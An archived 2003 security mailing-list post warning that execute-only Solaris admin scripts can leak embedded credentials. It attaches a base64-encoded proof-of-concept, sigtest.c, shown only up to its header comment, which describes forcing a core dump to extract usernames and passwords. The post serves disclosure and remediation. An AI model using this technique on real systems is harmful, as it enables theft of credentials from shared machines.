Date: Wed, 12 Feb 2003 03:21:49 +0000 (GMT)
From: Jon Masters <[email protected]>
To: [email protected]Subject: Solaris Signals
---1463811584-1091147387-1045020109=:21227
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi,
We all know that old chestnut about tracing setuid programs or scripts,
but what about non-setuid scripts which have been installed for users and
given execute only permission. For example, a lot of sites provide scripts
for users to run which perform some admin related function and thus have
usernames or passwords within them - potentially free to users.
The thing I want to do is make a few people think about fixing this by
taking whatever steps are necessary on a per-installation basis. It is a
silly kind of thing which seems to be overlooked all too often. There is
some trivial code attached for those who really do not see my point.
This is bound to be covered somewhere, I just want to get viewpoints.
Jon.
---1463811584-1091147387-1045020109=:21227
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="sigtest.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.10302120321480.21227@router>
Content-Description:
Content-Disposition: attachment; filename="sigtest.c"
Lyogc2lndGVzdC5jDQogKiBBIHF1aWNrIGFuZCBkaXJ0eSBoYWNrIGZvciBw
cm9vZiBvZiBjb25jZXB0IGV4cGxvaXQgYWdhaW5zdCBsb2NhbCBTb2xhcmlz
DQogKiBzeXN0ZW0gc2NyaXB0cyB3aGljaCBoYXZlICt4IHBlcm1pc3Npb24g
d2l0aG91dCArci4gVGhpcyBhbGxvd3MgdGhlIHVzZXINCiAqIHRvIG9idGFp
biBhIGR1bXAgb2YgdGhlIHByb2Nlc3MgbWVtb3J5IHNwYWNlIGFuZCBydW4g
c3RyaW5ncyBvciBzaW1pbGFyDQogKiB0b29sIHRvIHF1aWNrbHkgb2J0YWlu
IHVzZWZ1bCBpbmZvcm1hdGlvbiBzdWNoIGFzIHVzZXJuYW1lcyBhbmQgcGFz
c3dvcmRzLg0KICogTW90dG86IGNhdGNoIHRob3NlIHNpZ25hbHMuDQogKg0K
ICogVXNlOiBydW4gdGhlIHByb2dyYW0sIHJlYWQgdGhlIGNvcmUgZHVtcC4g
Tm8gcm9ja2V0IHNjaWVuY2Ugcm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